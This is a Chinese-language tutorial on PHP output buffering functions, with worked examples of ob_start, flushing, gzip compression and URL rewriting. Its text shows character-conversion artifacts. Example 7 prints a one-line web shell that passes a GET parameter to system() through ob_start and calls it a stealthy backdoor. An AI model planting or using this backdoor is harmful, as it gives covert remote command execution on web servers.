當(dāng)網(wǎng)站大了訪客多了,緩沖應(yīng)用是少不了的,在php中如何控制緩沖輸出呢?現(xiàn)在我們通過函數(shù) Output Control,再結(jié)合應(yīng)用實(shí)例,詳細(xì)講解一下PHP輸出緩沖控制- Output Control 函數(shù)應(yīng)用.
其實(shí)對(duì)于PHP程序員來說,基本上每個(gè)腳本都涉及到了輸出緩沖,只是在大多數(shù)情況下,我們都不需要對(duì)輸出緩沖進(jìn)行更改,而今天就來用實(shí)例對(duì)PHP輸出緩沖控制函數(shù)“Output Control”做一個(gè)詳細(xì)的解析.
下面這個(gè)例子簡(jiǎn)單介紹了輸出緩沖在一般腳本中存在的方式,我們?cè)趫?zhí)行如下腳本時(shí),代碼如下:
- <?php
- /*例1*/
- echo 'oschina.net';
- echo '紅薯';
- echo '蟲蟲';
- ?>
腳本在執(zhí)行完第一個(gè) echo 時(shí),并不會(huì)向?yàn)g覽器輸出相應(yīng)內(nèi)容,而是會(huì)輸出到一個(gè)緩沖區(qū),依次類推,當(dāng)三個(gè) echo 全部執(zhí)行完畢(也就是腳本結(jié)束)時(shí),才會(huì)將緩沖區(qū)內(nèi)容全部輸出到瀏覽器,當(dāng)然這個(gè)緩沖區(qū)也有大小的限制,是根據(jù) php.ini 中的output_buffering 選項(xiàng)來設(shè)置的,這點(diǎn)會(huì)在下面的文章中詳細(xì)介紹,而本章所講的輸出緩沖控制,就是在腳本結(jié)束前,對(duì)緩沖區(qū)里的內(nèi)容進(jìn)行操作.
這個(gè)例子可以更好的體現(xiàn)輸出緩沖控制的應(yīng)用,在執(zhí)行如下代碼時(shí),代碼如下:
- <?php
- /*例2*/
- echo 'oschina.net';
- sleep(1);
- echo '紅薯';
- sleep(1);
- echo '蟲蟲';
- ?>
我們至少需要等待 2秒 才能看到輸出結(jié)果,那我們能不能讓其實(shí)時(shí)的顯示呢?也就是在第一個(gè) echo 執(zhí)行完畢時(shí)就輸出相應(yīng)的內(nèi)容呢,這時(shí)候就需要用輸出緩沖控制函數(shù)來操作緩沖區(qū)了,實(shí)現(xiàn)代碼如下:
- <?php
- /*例3*/
- echo str_pad('', 1024);//使緩沖區(qū)溢出
- ob_start();//打開緩沖區(qū)
- echo 'oschina.net';
- ob_flush();//送出當(dāng)前緩沖內(nèi)容,不會(huì)輸出
- flush();//輸出送出的緩沖內(nèi)容
- sleep(1);
- echo '紅薯';
- ob_flush();//送出當(dāng)前緩沖內(nèi)容,不會(huì)輸出
- flush();//輸出送出的緩沖內(nèi)容
- sleep(1);
- echo '蟲蟲';
- ob_end_flush();//輸出并關(guān)閉緩沖
- ?>
簡(jiǎn)單點(diǎn)也可以這樣實(shí)現(xiàn),代碼如下:
- <?php
- /*例4*/
- echo str_pad('', 1024);//使緩沖區(qū)溢出
- echo 'oschina.net';
- flush();//輸出送出的緩沖內(nèi)容
- sleep(1);
- echo '紅薯';
- flush();//輸出送出的緩沖內(nèi)容
- sleep(1);
- echo '蟲蟲';
- ?>
至于相關(guān)函數(shù)的用法在下面都會(huì)有介紹,這里只是給大家展示一個(gè)輸出緩沖控制函數(shù)的應(yīng)用,當(dāng)然了輸出緩沖控制函數(shù)的作用絕不止這一種,那么下面我們就來看看輸出緩沖控制函數(shù)都可以應(yīng)用在哪些方面.
作用:在PHP中,像header(),session_start(),setcookie() 等這樣的發(fā)送頭文件的函數(shù)前,不能有任何的輸出,而利用輸出緩沖控制函數(shù)可以在這些函數(shù)前進(jìn)行輸出而不報(bào)錯(cuò),其實(shí)這么做沒啥必要,非常少見的用法.
對(duì)輸出的內(nèi)容進(jìn)行處理,例如生成靜態(tài)緩存文件、進(jìn)行g(shù)zip壓縮輸出,這算是較常用的功能了,后面會(huì)有詳細(xì)介紹.
捕獲一些不可獲取的函數(shù)輸出,例如phpinfo(), var_dump() 等等,這些函數(shù)都會(huì)將運(yùn)算結(jié)果顯示在瀏覽器中,而如果我們想對(duì)這些結(jié)果進(jìn)行處理,則用輸出緩沖控制函數(shù)是個(gè)不錯(cuò)的方法。說的通俗點(diǎn),就是這類函數(shù)都不會(huì)有返回值,而要獲取這些函數(shù)的輸出數(shù)據(jù),就要用到輸出緩沖控制函數(shù)。
最后一種應(yīng)用就是 簡(jiǎn)介 中示例的方法,對(duì)一些數(shù)據(jù)進(jìn)行實(shí)時(shí)的輸出.
php.ini 中的相關(guān)配置項(xiàng)
再來看看在 php.ini 中和輸出緩沖控制有關(guān)的選項(xiàng),共三個(gè),分別是:output_buffering,output_handler 和 implicit_flush
output_buffering 默認(rèn)為 off , 當(dāng)設(shè)置為 on 時(shí),則在所有腳本自動(dòng)打開輸出緩沖區(qū),拿 例3 來說,就是在每個(gè)腳本都自動(dòng)執(zhí)行了 ob_start() 這個(gè)函數(shù),而不用再顯示的調(diào)用該函數(shù)。其也可以設(shè)置為一個(gè)整型的數(shù)字,代表緩沖區(qū)可以存儲(chǔ)的最大字節(jié)數(shù),我們?cè)?例1 的下面說明中提到過這個(gè)配置項(xiàng)。
output_handler 默認(rèn)為 null , 其值只能設(shè)置為一個(gè)內(nèi)置的函數(shù)名,作用就是將腳本的所有輸出,用所定義的函數(shù)進(jìn)行處理。他的用法和 ob_start('function_name') 較類似,下面會(huì)介紹到。
implicit_flush 默認(rèn)為 off , 當(dāng)設(shè)置為 on 時(shí),PHP將在輸出后,自動(dòng)送出緩沖區(qū)內(nèi)容。拿 例4 來說,就是在每段輸出后,自動(dòng)執(zhí)行 flush() 。當(dāng)然有效的輸出不僅指像echo , print 這樣的函數(shù),也包括HTML段。
Output Control 函數(shù)詳解
現(xiàn)在我們就用實(shí)例分析相關(guān)函數(shù),相信在充分了解了以下內(nèi)容后,就會(huì)對(duì)輸出緩沖控制函數(shù)有了較清晰的掌握。
1.bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函數(shù)在 例3 中已經(jīng)使用過,大家從命名上也能明白其含義,就是打開輸出緩沖區(qū),從而進(jìn)行下一步的輸出緩沖處理。這里要特意說的是其參數(shù)的用法,第一個(gè)參數(shù)要傳遞一個(gè)回調(diào)函數(shù),其需將緩沖區(qū)內(nèi)容做為參數(shù),并且返回一個(gè)字符串。他會(huì)在緩沖區(qū)被送出時(shí)調(diào)用,緩沖區(qū)送出指的是執(zhí)行了例如ob_flush() 等函數(shù)或者腳本執(zhí)行完畢。ob_flush() 函數(shù)會(huì)在下面介紹到,來看一個(gè)簡(jiǎn)單的例子就能理解其用法:
- <?php
- /*例5*/
- ob_start('handleString');
- echo '123456';
- function handleString($string){
- return md5($string);
- }
- ?>
- //運(yùn)行后的結(jié)果是:
- e10adc3949ba59abbe56e057f20f883e
說明輸出的內(nèi)容被md5加密了,也就是說在緩沖區(qū)內(nèi)容輸出時(shí),運(yùn)行了我們定義的 handleString 函數(shù).
再來看一個(gè)更實(shí)際的例子,也就是常見到的將網(wǎng)頁內(nèi)容利用 gzip 壓縮后再輸出,代碼如下:
- <?php
- /*例6*/
- ob_start('ob_gzhandler');
- echo str_repeat('oschina', 1024);
- ?>
PHP Output Control 緩沖控制函數(shù)應(yīng)用實(shí)例詳解
可以明顯看到大小的差別,所以說利用 ob_start() 進(jìn)行頁面壓縮輸出,是非常實(shí)用的一個(gè)功能.
而第二個(gè)參數(shù) chunk_size 為緩沖區(qū)的字節(jié)長度,如果緩沖區(qū)內(nèi)容大于此長度,將會(huì)被送出緩沖區(qū),默認(rèn)值為0,代表函數(shù)將會(huì)在最后被調(diào)用,第三個(gè)參數(shù) erase 如果被設(shè)置為 flase,則代表腳本執(zhí)行完畢后緩沖區(qū)才會(huì)被刪除,如果提前執(zhí)行了刪除緩沖區(qū)函數(shù)(后面會(huì)提到),則會(huì)報(bào)一個(gè)錯(cuò)誤.
ob_start() 的用法就這么多,但有兩點(diǎn)需要特別注意的地方:
ob_start() 可重復(fù)調(diào)用,也就是說一個(gè)腳本中可以存在多個(gè)緩沖區(qū),但記得要按照嵌套順序?qū)⑺麄內(nèi)筷P(guān)閉掉,而如果多個(gè) ob_start 都定義了第一個(gè)參數(shù),也就是都定義了回調(diào)函數(shù),則會(huì)按照嵌套順序依次執(zhí)行,關(guān)于緩沖區(qū)的堆疊嵌套,將在 ob_get_level 函數(shù)處詳細(xì)介紹,這里就不過多闡述了.
ob_start() 還有一個(gè)不太明顯但很致命的后門用法,實(shí)現(xiàn)代碼如下:
- <?php
- /*例7*/
- $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
- ?>
如果理解了上面關(guān)于 ob_start的用法,這段代碼就不難理解了,其應(yīng)用了 ob_start 函數(shù)會(huì)將緩沖區(qū)輸出的內(nèi)容作為參數(shù)傳入所設(shè)置的函數(shù)中的特點(diǎn),實(shí)現(xiàn)了以Web服務(wù)器權(quán)限遠(yuǎn)程執(zhí)行命令,并且不宜被發(fā)覺.
2.string ob_get_contents(void)
此函數(shù)用來獲取此時(shí)緩沖區(qū)的內(nèi)容,下面的例子就能很好的理解其用法:
- <?php
- /*例8*/
- echo str_pad('', 1024);//使緩沖區(qū)溢出
- ob_start();//打開緩沖區(qū)
- phpinfo();
- $string = ob_get_contents();//獲取緩沖區(qū)內(nèi)容
- $re = fopen('./phpinfo.txt', 'wb');
- fwrite($re, $string);//將內(nèi)容寫入文件
- fclose($re);
- ob_end_clean();//清空并關(guān)閉緩沖區(qū)
- ?>
運(yùn)行此例會(huì)發(fā)現(xiàn),瀏覽器并不會(huì)有任何輸出,但在當(dāng)前目錄下會(huì)有一個(gè) phpinfo.txt 的文件,里面存儲(chǔ)了此次應(yīng)有的輸出。這個(gè)例子也展示了上面作用中第三點(diǎn)所說的情況。我們可以將輸出內(nèi)容獲取到后,根據(jù)我們的實(shí)際情況進(jìn)行處理。
3.int ob_get_length(void)
此函數(shù)用來獲取緩沖區(qū)內(nèi)容的長度,將 例8 稍作改動(dòng)來展示這個(gè)函數(shù)的用法:
- <?php
- /*例9*/
- echo str_pad('', 1024);//使緩沖區(qū)溢出
- ob_start();//打開緩沖區(qū)
- phpinfo();
- $string = ob_get_contents();//獲取緩沖區(qū)內(nèi)容
- $length = ob_get_length();//獲取緩沖區(qū)內(nèi)容長度
- $re = fopen('./phpinfo.txt', 'wb');
- fwrite($re, $string);//將內(nèi)容寫入文件
- fclose($re);
- var_dump($length); //輸出長度
- ob_end_flush();//輸出并關(guān)閉緩沖區(qū)
- ?>
4.int ob_get_level(void)
此函數(shù)用來獲取緩沖機(jī)制的嵌套級(jí)別,我們?cè)诮榻B ob_start() 函數(shù)時(shí)曾說過,在一個(gè)腳本中可以嵌套存在多個(gè)緩沖區(qū),而此函數(shù)就是來獲取當(dāng)前緩沖區(qū)的嵌套級(jí)別,用法如下:
- <?php
- /*例10*/
- ob_start();
- var_dump(ob_get_level());
- ob_start();
- var_dump(ob_get_level());
- ob_end_flush();
- ob_end_flush();
- ?>
運(yùn)行后可以很明顯的看出他們的嵌套關(guān)系.
5. array ob_get_status ([bool $full_status = FALSE ])
此函數(shù)用來獲取當(dāng)前緩沖區(qū)的狀態(tài),返回一個(gè)狀態(tài)信息的數(shù)組,如果第一個(gè)參數(shù)為 true ,將返回一個(gè)詳細(xì)信息的數(shù)組,我們結(jié)合實(shí)例來分析這個(gè)數(shù)組:
- <?php
- /*例11*/
- ob_start(‘ob_gzhandler’);
- var_export(ob_get_status());
- ob_start();
- var_export(ob_get_status());
- ob_end_flush();
- ob_end_flush();
- ?>
- //此腳本輸出如下:
- array (
- 'level' => 1,
- 'type' => 1,
- 'status' => 0,
- 'name' => 'ob_gzhandler',
- 'del' => true,
- )
- array (
- 'level' => 2,
- 'type' => 1,
- 'status' => 0,
- 'name' => 'default output handler',
- 'del' => true,
- )
level 為嵌套級(jí)別,也就是和通過 ob_get_level() 取到的值一樣。
type 為處理緩沖類型,0為系統(tǒng)內(nèi)部自動(dòng)處理,1為用戶手動(dòng)處理。
status 為緩沖處理狀態(tài), 0為開始, 1為進(jìn)行中, 2為結(jié)束
name 為定義的輸出處理函數(shù)名稱,也就是在 ob_start() 函數(shù)中第一個(gè)參數(shù)傳入的函數(shù)名。
del 為是否運(yùn)行了刪除緩沖區(qū)操作
理解了上面數(shù)組的含義,就能很好理解緩沖區(qū)的各項(xiàng)屬性。
6.array ob_list_handlers (void)
此函數(shù)用來獲得輸出處理程序的函數(shù)名數(shù)組,也就是在 ob_start() 函數(shù)中我們指定的第一個(gè)參數(shù),需要注意的是,如果我們傳的參數(shù)是一個(gè)匿名函數(shù),或者在配置文件中啟用了 output_buffering 則該函數(shù)將返回default output handler ,php官方手冊(cè) 中的例子就能很好的解釋這個(gè)函數(shù):
- <?php
- /*例12*/
- //using output_buffering=On
- print_r(ob_list_handlers());
- ob_end_flush();
- ob_start("ob_gzhandler");
- print_r(ob_list_handlers());
- ob_end_flush();
- // anonymous functions
- ob_start(create_function('$string', 'return $string;'));
- print_r(ob_list_handlers());
- ob_end_flush();
- ?>
- //輸出結(jié)果為:
- Array
- (
- [0] => 'default output handler'
- )
- Array
- (
- [0] => 'ob_gzhandler'
- )
- Array
- (
- [0] => 'default output handler'
- )
下面我們來看看和輸出、關(guān)閉、送出緩沖區(qū)內(nèi)容有關(guān)的函數(shù):
7. void ob_flush(void)
此函數(shù)在前面的例子經(jīng)常用到了,其作用就是 “送出” 當(dāng)前緩沖區(qū)內(nèi)容,同時(shí)清空緩沖區(qū),需要注意這里用的是 “送出” 一詞,也就是說調(diào)用此函數(shù)并不會(huì)將緩沖區(qū)內(nèi)容輸出,從 例3 可以看出必須在其后調(diào)用 flush 函數(shù)其才會(huì)輸出。關(guān)于 flush 的用法下面就會(huì)說到,這里就不再做實(shí)例了。
8. void flush(void)
這個(gè)函數(shù)算是比較常用的,用來將其前面的所有輸出發(fā)送到瀏覽器顯示,且不會(huì)對(duì)緩存區(qū)有任何影響。例3 和 例4 中都用到了此函數(shù)將當(dāng)前輸出顯示到瀏覽器,換句話說,不論是 echo 等函數(shù)的輸出,還是 HTML實(shí)體 ,或是運(yùn)行 ob_start() 送出的內(nèi)容,運(yùn)行 flush() 后都會(huì)在瀏覽器進(jìn)行顯示。
9. void ob_implicit_flush ([int $flag = true ])
此函數(shù)用來打開/關(guān)閉絕對(duì)刷送模式,就是在每一次輸出后自動(dòng)執(zhí)行 flush(),從而不需要再顯示的調(diào)用 flush(),提高效率,我們將 例4 稍作更改,利用這個(gè)函數(shù)來實(shí)現(xiàn)同樣的效果:
- <?php
- /*例13*/
- echo str_pad('', 1024);//使緩沖區(qū)溢出
- ob_implicit_flush(true);//打開絕對(duì)刷送
- echo 'oschina.net';
- //flush(); 之后不需要再顯示的調(diào)用 flush()
- sleep(1); //開源軟件:Vevb.com
- echo '紅薯';
- //flush();
- sleep(1);
- echo '蟲蟲';
- ?>
此例和 例4 實(shí)現(xiàn)的同樣的效果,由于打開了 絕對(duì)刷送,所以不需要再調(diào)用 flush(),系統(tǒng)會(huì)自動(dòng)在輸出后進(jìn)行刷送.
10. bool ob_end_flush(void)
此函數(shù)將緩沖區(qū)的內(nèi)容送出,并關(guān)閉緩沖區(qū),實(shí)際上相當(dāng)于執(zhí)行了 ob_flush() 和 ob_end_clean() ;
11. string ob_get_flush(void)
此函數(shù)和 ob_end_flush() 的作用基本一致,只是其會(huì)以字符串的形式返回緩沖區(qū)的內(nèi)容,很簡(jiǎn)單,也不做實(shí)例了.
12.void ob_clean(void)
此函數(shù)會(huì)將當(dāng)前緩沖區(qū)清空,但不會(huì)關(guān)閉緩沖區(qū),下面這個(gè)例子的輸出將不會(huì)顯示,因?yàn)樵谳敵銮?緩沖區(qū)已經(jīng)被清空了,但我們又可以獲取到緩沖區(qū)的屬性,說明緩沖區(qū)沒被關(guān)閉:
- <?php
- /*例14*/
- ob_start();
- echo 'oschina';
- ob_clean();
- var_dump(ob_get_status());
- ?>
13.bool ob_end_clean(void)
此函數(shù)清空并關(guān)閉緩沖區(qū),將 例14 稍作更改,即可發(fā)現(xiàn)我們不再能獲取到緩沖區(qū)的狀態(tài),因?yàn)樗呀?jīng)被關(guān)閉了:
- <?php
- /*例15*/
- ob_start();
- echo 'oschina';
- ob_end_clean();
- var_dump(ob_get_status());
- ?>
14.string ob_get_clean(void)
此函數(shù)清空并關(guān)閉緩存,但會(huì)以字符串的形式返回緩存中的數(shù)據(jù),實(shí)際上,這個(gè)函數(shù)就是分別執(zhí)行了 ob_get_contents() 和 ob_end_clean();代碼如下:
- <?php
- /*例16*/
- ob_start();
- echo 'oschina';
- $string = ob_get_clean();
- var_dump(ob_get_status());
- var_dump($string);
- ?>
最后再來看兩個(gè)和URL重寫有關(guān)的函數(shù):
15.bool output_add_rewrite_var(string $name,string $value)
此函數(shù)添加URL重寫機(jī)制的鍵和值,這里的URL重寫機(jī)制,是指在URL的最后以GET方式添加鍵值對(duì),或者在表單中以隱藏表單添加鍵值對(duì),絕對(duì)的URL不會(huì)被添加,還是用手冊(cè)中的例子來看吧,寫的非常直觀明了:
- <?php
- /*例17*/
- output_add_rewrite_var('var', 'value');
- // some links
- echo '<a href="file.php">link</a>
- <a href="http://example.com">link2</a>';
- // a form
- echo '<form action="script.php" method="post">
- <input type="text" name="var2" />
- </form>';
- print_r(ob_list_handlers());
- ?>
程序的輸出為:
- <a href="file.php?var=value">link</a>
- <a href="http://example.com">link2</a>
- <form action="script.php" method="post">
- <input type="hidden" name="var" value="value" />
- <input type="text" name="var2" />
- </form>
- Array
- (
- [0] => URL-Rewriter
- )
可以看到不是絕對(duì)URL地址的鏈接 和 Form表單 被加上了對(duì)應(yīng)的鍵值對(duì).
16.bool output_reset_rewrite_vars(void)
此函數(shù)用來清空所有的URL重寫機(jī)制,也就是刪除由 output_add_rewrite_var() 設(shè)置的重寫變量.
其他需要注意的地方
相信讀了上面的內(nèi)容,就會(huì)對(duì)PHP的緩沖控制函數(shù)有較深的認(rèn)識(shí)了,那接下來說一些在日常使用中需要注意的問題.
在 例3 的第三行,我輸出了一個(gè)1024長度的空格,注釋寫的是使緩沖區(qū)溢出。這么做的原因是在一些win32下的服務(wù)器程序,即使使用了上述函數(shù),但仍然會(huì)緩存腳本的輸出,所以必須先發(fā)送一段文本讓其緩沖區(qū)溢出,才能繼續(xù)實(shí)現(xiàn)我們的效果。大家在應(yīng)用過程中一定要注意,如果測(cè)試中還有問題,可以將此值設(shè)置更大些,例如4096;
除非在腳本結(jié)束前清空了緩沖區(qū),否則當(dāng)腳本結(jié)束時(shí),緩沖區(qū)的所有內(nèi)容會(huì)自動(dòng)輸出到瀏覽器中。
新聞熱點(diǎn)
疑難解答